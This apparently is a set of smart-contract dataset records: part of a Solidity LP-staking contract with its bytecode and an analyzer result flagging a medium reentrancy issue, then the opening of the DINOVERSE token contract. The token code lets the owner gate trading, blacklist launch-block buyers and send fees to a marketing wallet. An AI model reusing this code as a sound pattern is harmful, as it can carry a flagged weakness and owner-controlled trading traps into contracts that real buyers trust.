if (lPPairTokenA != rewardToken) {
path[0] = lPPairTokenA;
tokenAToRewardPrice = swapRouter.getAmountsOut(10 ** 6, path)[1];
if (_tokenADecimalCompensate > 0)
tokenAToRewardPrice = tokenAToRewardPrice.mul(10 ** _tokenADecimalCompensate);
} else {
tokenAToRewardPrice = 10 ** 18;
}
if (lPPairTokenB != rewardToken) {
path[0] = lPPairTokenB;
tokenBToRewardPrice = swapRouter.getAmountsOut(10 ** 6, path)[1];
if (_tokenBDecimalCompensate > 0)
tokenBToRewardPrice = tokenBToRewardPrice.mul(10 ** _tokenBDecimalCompensate);
} else {
tokenBToRewardPrice = 10 ** 18;
}
uint totalLpSupply = IERC20(stakingLPToken).totalSupply();
require(totalLpSupply > 0, "StakingLPRewardFixedAPY: No liquidity for pair");
(uint reserveA, uint reaserveB,) = stakingLPToken.getReserves();
uint price =
uint(2).mul(Math.sqrt(reserveA.mul(reaserveB))
.mul(Math.sqrt(tokenAToRewardPrice.mul(tokenBToRewardPrice)))) / totalLpSupply;
return price;
}
function updateRewardAmount(uint256 reward) external onlyOwner {
rewardRate = reward;
emit RewardUpdated(reward);
}
function updateSwapRouter(address newSwapRouter) external onlyOwner {
require(newSwapRouter != address(0), "StakingLPRewardFixedAPY: Address is zero");
swapRouter = INimbusRouter(newSwapRouter);
}
function rescue(address to, IERC20 token, uint256 amount) external onlyOwner {
require(to != address(0), "StakingLPRewardFixedAPY: Cannot rescue to the zero address");
require(amount > 0, "StakingLPRewardFixedAPY: Cannot rescue 0");
require(token != stakingLPToken, "StakingLPRewardFixedAPY: Cannot rescue staking token");
//owner can rescue rewardsToken if there is spare unused tokens on staking contract balance
token.safeTransfer(to, amount);
emit RescueToken(to, address(token), amount);
}
function rescue(address payable to, uint256 amount) external onlyOwner {
require(to != address(0), "StakingLPRewardFixedAPY: Cannot rescue to the zero address");
require(amount > 0, "StakingLPRewardFixedAPY: Cannot rescue 0");
to.transfer(amount);
emit Rescue(to, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101ef5760003560e01c806386a9d8a81161010f578063c41f7808116100a2578063ecd9ba8211610071578063ecd9ba82146103a1578063f2fde38b146103b4578063f44c407a146103c7578063f520e7e5146103da576101ef565b8063c41f780814610381578063d1af0c7d14610389578063d4ee1d9014610391578063d72164fe14610399576101ef565b8063ac348bb2116100de578063ac348bb214610340578063b98b677f14610353578063baee99c214610366578063c31c9c0714610379576101ef565b806386a9d8a8146102ff5780638da5cb5b146103125780638edc7f2d1461031a578063a694fc3a1461032d576101ef565b8063389b70b31161018757806370a082311161015657806370a08231146102c957806379ba5097146102dc5780637a4e4ecf146102e45780637b0a47ee146102f7576101ef565b8063389b70b3146102855780633d18b9121461029b57806351746bb2146102a3578063673434b2146102b6576101ef565b80631cb1f5b6116101c35780631cb1f5b61461024f57806320ff430b146102575780632cb7714f1461026a5780632e1a7d4d14610272576101ef565b80628cc262146101f45780630d9df9c21461021d57806315c2ba141461023257806318160ddd14610247575b600080fd5b610207610202366004611eb8565b6103e2565b6040516102149190612712565b60405180910390f35b610225610474565b604051610214919061215e565b610245610240366004612079565b610498565b005b610207610532565b610207610538565b610245610265366004611eff565b61053e565b6102256106fd565b610245610280366004612079565b610721565b61028d610919565b60405161021492919061271b565b61024561095f565b6102456102b13660046120a9565b610a6e565b6102076102c4366004611eb8565b610b09565b6102076102d7366004611eb8565b610b31565b610245610b59565b6102456102f2366004611ed4565b610c15565b610207610d6e565b61020761030d366004611eb8565b610d74565b610225610d86565b610207610328366004611f3f565b610da2565b61024561033b366004612079565b610dbf565b61020761034e366004611f3f565b610e55565b610245610361366004611eb8565b610e72565b610207610374366004611eb8565b610f57565b610225610f69565b610225610f85565b610225610fa9565b610225610fcd565b610207610fe9565b6102456103af3660046120d8565b6116c0565b6102456103c2366004611eb8565b61180e565b6102456103d5366004612079565b6118ce565b6102076118df565b60006103f36301e1338060646128ac565b60045473ffffffffffffffffffffffffffffffffffffffff8416600090815260056020526040902054610462919061045c906104309042906118e7565b73ffffffffffffffffffffffffffffffffffffffff87166000908152600c602052604090205490611939565b90611939565b61046c9190612741565b90505b919050565b7f000000000000000000000000eb58343b36c7528f23caae63a15024024131004981565b60015473ffffffffffffffffffffffffffffffffffffffff1633146104f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612287565b60405180910390fd5b60048190556040517fcb94909754d27c309adf4167150f1f7aa04de40b6a0e6bb98b2ae80a2bf438f690610527908390612712565b60405180910390a150565b60095490565b600a5490565b60015473ffffffffffffffffffffffffffffffffffffffff16331461058f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612287565b73ffffffffffffffffffffffffffffffffffffffff83166105dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906126b5565b60008111610616576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906125ea565b7f000000000000000000000000db4a372c113df57e8b15c9f67bc7c74bf887644e73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561069c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612530565b6106bd73ffffffffffffffffffffffffffffffffffffffff8316848361199f565b7faabf44ab9d5bef08d1b60f287a337f0d11a248e49741ad189b429e47e98ba9108383836040516106f0939291906121a5565b60405180910390a1505050565b7f000000000000000000000000639ae8f3eed18690bf451229d14953a5a5627b7281565b60016000808282546107339190612729565b9091555050600080543382526006602090815260408084208585529091529091205461078b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612328565b336000818152600660209081526040808320868452825280832054938352600782528083208684529091529020546009546107c690836118e7565b600955600a546107d690826118e7565b600a55336000908152600b60205260409020546107f390836118e7565b336000908152600b6020908152604080832093909355600c9052205461081990826118e7565b336000818152600c602052604090209190915561086e907f000000000000000000000000db4a372c113df57e8b15c9f67bc7c74bf887644e73ffffffffffffffffffffffffffffffffffffffff16908461199f565b33600081815260066020908152604080832088845282528083208390558383526007825280832088845290915280822091909155517f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5906108d0908590612712565b60405180910390a250506000548114610915576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612647565b5050565b7f000000000000000000000000000000000000000000000000000000000000000c907f000000000000000000000000000000000000000000000000000000000000000c90565b60016000808282546109719190612729565b90915550506000805490610984336103e2565b90508015610a2f573360008181526005602052604090204290556109e0907f000000000000000000000000eb58343b36c7528f23caae63a15024024131004973ffffffffffffffffffffffffffffffffffffffff16908361199f565b3373ffffffffffffffffffffffffffffffffffffffff167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e048682604051610a269190612712565b60405180910390a25b506000548114610a6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612647565b50565b6001600080828254610a809190612729565b909155505060005482610abf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612476565b610ac98383611a40565b6000548114610b04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612647565b505050565b73ffffffffffffffffffffffffffffffffffffffff166000908152600c602052604090205490565b73ffffffffffffffffffffffffffffffffffffffff166000908152600b602052604090205490565b60025473ffffffffffffffffffffffffffffffffffffffff163314610b7d57600080fd5b60025460015460405173ffffffffffffffffffffffffffffffffffffffff92831692909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360028054600180547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b60015473ffffffffffffffffffffffffffffffffffffffff163314610c66576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612287565b73ffffffffffffffffffffffffffffffffffffffff8216610cb3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906126b5565b60008111610ced576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906125ea565b60405173ffffffffffffffffffffffffffffffffffffffff83169082156108fc029083906000818181858888f19350505050158015610d30573d6000803e3d6000fd5b507f542fa6bfee3b4746210fbdd1d83f9e49b65adde3639f8d8f165dd18347938af28282604051610d6292919061217f565b60405180910390a15050565b60045481565b60086020526000908152604090205481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b600660209081526000928352604080842090915290825290205481565b6001600080828254610dd19190612729565b909155505060005481610e10576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612476565b610e1a8233611a40565b6000548114610915576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612647565b600760209081526000928352604080842090915290825290205481565b60015473ffffffffffffffffffffffffffffffffffffffff163314610ec3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612287565b73ffffffffffffffffffffffffffffffffffffffff8116610f10576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612385565b600380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60056020526000908152604090205481565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000db4a372c113df57e8b15c9f67bc7c74bf887644e81565b7f000000000000000000000000eb58343b36c7528f23caae63a15024024131004981565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b604080516002808252606082018352600092839283927f000000000000000000000000eb58343b36c7528f23caae63a1502402413100499284929190602083019080368337019050509050818160018151811061106f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101527f000000000000000000000000eb58343b36c7528f23caae63a15024024131004981169083161461129b577f000000000000000000000000eb58343b36c7528f23caae63a15024024131004981600081518110611118577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101526003546040517fd06ca61f00000000000000000000000000000000000000000000000000000000815291169063d06ca61f9061118090620f4240908590600401612224565b60006040518083038186803b15801561119857600080fd5b505afa1580156111ac573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526111f29190810190611f51565b60018151811061122b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151935060007f000000000000000000000000000000000000000000000000000000000000000c11156112965761129361128c7f000000000000000000000000000000000000000000000000000000000000000c600a6127c0565b8590611939565b93505b6112a7565b670de0b6b3a764000093505b8173ffffffffffffffffffffffffffffffffffffffff167f000000000000000000000000639ae8f3eed18690bf451229d14953a5a5627b7273ffffffffffffffffffffffffffffffffffffffff16146114d8577f000000000000000000000000639ae8f3eed18690bf451229d14953a5a5627b7281600081518110611355577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101526003546040517fd06ca61f00000000000000000000000000000000000000000000000000000000815291169063d06ca61f906113bd90620f4240908590600401612224565b60006040518083038186803b1580156113d557600080fd5b505afa1580156113e9573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405261142f9190810190611f51565b600181518110611468577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151925060007f000000000000000000000000000000000000000000000000000000000000000c11156114d3576114d06114c97f000000000000000000000000000000000000000000000000000000000000000c600a6127c0565b8490611939565b92505b6114e4565b670de0b6b3a764000092505b60007f000000000000000000000000db4a372c113df57e8b15c9f67bc7c74bf887644e73ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561154c57600080fd5b505afa158015611560573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115849190612091565b9050600081116115c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906124d3565b6000807f000000000000000000000000db4a372c113df57e8b15c9f67bc7c74bf887644e73ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561162957600080fd5b505afa15801561163d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611661919061202b565b506dffffffffffffffffffffffffffff91821693501690506000836116a96116a161169461168f8c8c611939565b611c69565b61045c61168f8888611939565b600290611939565b6116b39190612741565b9850505050505050505090565b60016000808282546116d29190612729565b909155505060005485611711576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612476565b6040517fd505accf00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000db4a372c113df57e8b15c9f67bc7c74bf887644e169063d505accf9061178f90339030908b908b908b908b908b906004016121d6565b600060405180830381600087803b1580156117a957600080fd5b505af11580156117bd573d6000803e3d6000fd5b505050506117cb8633611a40565b6000548114611806576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612647565b505050505050565b60015473ffffffffffffffffffffffffffffffffffffffff16331461185f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612287565b60025473ffffffffffffffffffffffffffffffffffffffff8281169116141561188757600080fd5b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6118d661095f565b610a6b81610721565b6301e1338081565b600082821115611923576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906123e2565b600061192f83856128e9565b9150505b92915050565b60008261194857506000611933565b600061195483856128ac565b9050826119618583612741565b14611998576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612419565b9392505050565b610b048363a9059cbb60e01b84846040516024016119be92919061217f565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff0000000000000000000000000000000000000000000000000000000090931692909217909152611cd8565b611a8273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000db4a372c113df57e8b15c9f67bc7c74bf887644e16333085611e2a565b6000670de0b6b3a7640000611a998461045c610fe9565b611aa39190612741565b600954909150611ab39084611e4b565b600955600a54611ac39082611e4b565b600a5573ffffffffffffffffffffffffffffffffffffffff82166000908152600b602052604081205490611af78286611e4b565b9050611b5381611b074288611939565b611b119190612741565b73ffffffffffffffffffffffffffffffffffffffff86166000908152600560205260409020548390611b439086611939565b611b4d9190612741565b90611e4b565b73ffffffffffffffffffffffffffffffffffffffff8516600090815260056020908152604080832093909355600b81528282208490556008905290812080549082611b9d83612900565b9091555073ffffffffffffffffffffffffffffffffffffffff8616600081815260066020908152604080832085845282528083208b9055838352600782528083208584528252808320899055928252600c90522054909150611bff9085611e4b565b73ffffffffffffffffffffffffffffffffffffffff86166000818152600c6020526040908190209290925590517f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d90611c59908990612712565b60405180910390a2505050505050565b60006003821115611cca5750806000611c83600283612741565b611c8e906001612729565b90505b81811015611cc457905080600281611ca98186612741565b611cb39190612729565b611cbd9190612741565b9050611c91565b5061046f565b811561046f57506001919050565b611cf78273ffffffffffffffffffffffffffffffffffffffff16611e94565b611d2d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e99061267e565b6000808373ffffffffffffffffffffffffffffffffffffffff1683604051611d559190612125565b6000604051808303816000865af19150503d8060008114611d92576040519150601f19603f3d011682016040523d82523d6000602084013e611d97565b606091505b509150915081611dd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906122f3565b805115611e245780806020019051810190611dee919061200b565b611e24576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e99061258d565b50505050565b611e24846323b872dd60e01b8585856040516024016119be939291906121a5565b600080611e588385612729565b905083811015611998576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906122bc565b3b151590565b80516dffffffffffffffffffffffffffff8116811461046f57600080fd5b600060208284031215611ec9578081fd5b813561199881612997565b60008060408385031215611ee6578081fd5b8235611ef181612997565b946020939093013593505050565b600080600060608486031215611f13578081fd5b8335611f1e81612997565b92506020840135611f2e81612997565b929592945050506040919091013590565b60008060408385031215611ee6578182fd5b60006020808385031215611f63578182fd5b825167ffffffffffffffff80821115611f7a578384fd5b818501915085601f830112611f8d578384fd5b815181811115611f9f57611f9f612968565b83810260405185828201018181108582111715611fbe57611fbe612968565b604052828152858101935084860182860187018a1015611fdc578788fd5b8795505b83861015611ffe578051855260019590950194938601938601611fe0565b5098975050505050505050565b60006020828403121561201c578081fd5b81518015158114611998578182fd5b60008060006060848603121561203f578283fd5b61204884611e9a565b925061205660208501611e9a565b9150604084015163ffffffff8116811461206e578182fd5b809150509250925092565b60006020828403121561208a578081fd5b5035919050565b6000602082840312156120a2578081fd5b5051919050565b600080604083850312156120bb578182fd5b8235915060208301356120cd81612997565b809150509250929050565b600080600080600060a086880312156120ef578081fd5b8535945060208601359350604086013560ff8116811461210d578182fd5b94979396509394606081013594506080013592915050565b60008251815b81811015612145576020818601810151858301520161212b565b818111156121535782828501525b509190910192915050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff97881681529590961660208601526040850193909352606084019190915260ff16608083015260a082015260c081019190915260e00190565b60006040820184835260206040818501528185518084526060860191508287019350845b8181101561227a57845173ffffffffffffffffffffffffffffffffffffffff1683529383019391830191600101612248565b5090979650505050505050565b6020808252818101527f4f776e61626c653a2043616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252818101527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604082015260600190565b60208082526037908201527f5374616b696e674c5052657761726446697865644150593a205468697320737460408201527f616b65206e6f6e6365207761732077697468647261776e000000000000000000606082015260800190565b60208082526028908201527f5374616b696e674c5052657761726446697865644150593a204164647265737360408201527f206973207a65726f000000000000000000000000000000000000000000000000606082015260800190565b6020808252601e908201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60408201527f7700000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526027908201527f5374616b696e674c5052657761726446697865644150593a2043616e6e6f742060408201527f7374616b65203000000000000000000000000000000000000000000000000000606082015260800190565b6020808252602e908201527f5374616b696e674c5052657761726446697865644150593a204e6f206c69717560408201527f696469747920666f722070616972000000000000000000000000000000000000606082015260800190565b60208082526034908201527f5374616b696e674c5052657761726446697865644150593a2043616e6e6f742060408201527f726573637565207374616b696e6720746f6b656e000000000000000000000000606082015260800190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60408201527f6f74207375636365656400000000000000000000000000000000000000000000606082015260800190565b60208082526028908201527f5374616b696e674c5052657761726446697865644150593a2043616e6e6f742060408201527f7265736375652030000000000000000000000000000000000000000000000000606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b6020808252601f908201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604082015260600190565b6020808252603a908201527f5374616b696e674c5052657761726446697865644150593a2043616e6e6f742060408201527f72657363756520746f20746865207a65726f2061646472657373000000000000606082015260800190565b90815260200190565b918252602082015260400190565b6000821982111561273c5761273c612939565b500190565b600082612775577f4e487b710000000000000000000000000000000000000000000000000000000081526012600452602481fd5b500490565b80825b600180861161278c57506127b7565b81870482111561279e5761279e612939565b808616156127ab57918102915b9490941c93800261277d565b94509492505050565b60006119987fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846000826127f757506001611998565b8161280457506000611998565b816001811461281a576002811461282457612851565b6001915050611998565b60ff84111561283557612835612939565b6001841b91508482111561284b5761284b612939565b50611998565b5060208310610133831016604e8410600b8410161715612884575081810a8381111561287f5761287f612939565b611998565b612891848484600161277a565b8086048211156128a3576128a3612939565b02949350505050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128e4576128e4612939565b500290565b6000828210156128fb576128fb612939565b500390565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561293257612932612939565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff81168114610a6b57600080fdfea264697066735822122016b285658b97328b65afb7277365049997b8b554ec5551b87858abbd29232d5764736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 7,974 |
0xb714560e0ccbcbb2eef99f3f5196606d57673ab2
|
// SPDX-License-Identifier: Unlicensed
/*
Welcome to the DINOVERSE!
An all-new, unique Metaverse experience … Bringing you back in time to a pre-historic, mesozoic era; a world ruled by mystical and powerful creatures.
$DINOV is the governance token of the DINOVERSE Ecosystem and Metaverse. Buy, trade, explore and engage in this one-of-a-kind experience. We’re bringing you back in time … the opportunities and possibilities are endless. Create your destiny.
*/
// t.me/Dinoversetoken
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DINOV is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "DINOVERSE";
string private constant _symbol = "DINOV";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x6A9ff30A683DC7E6cAde212ee6b911743EA8704d);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 5e9 * 10**9;
uint256 public _maxWalletSize = 5e9 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize);
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
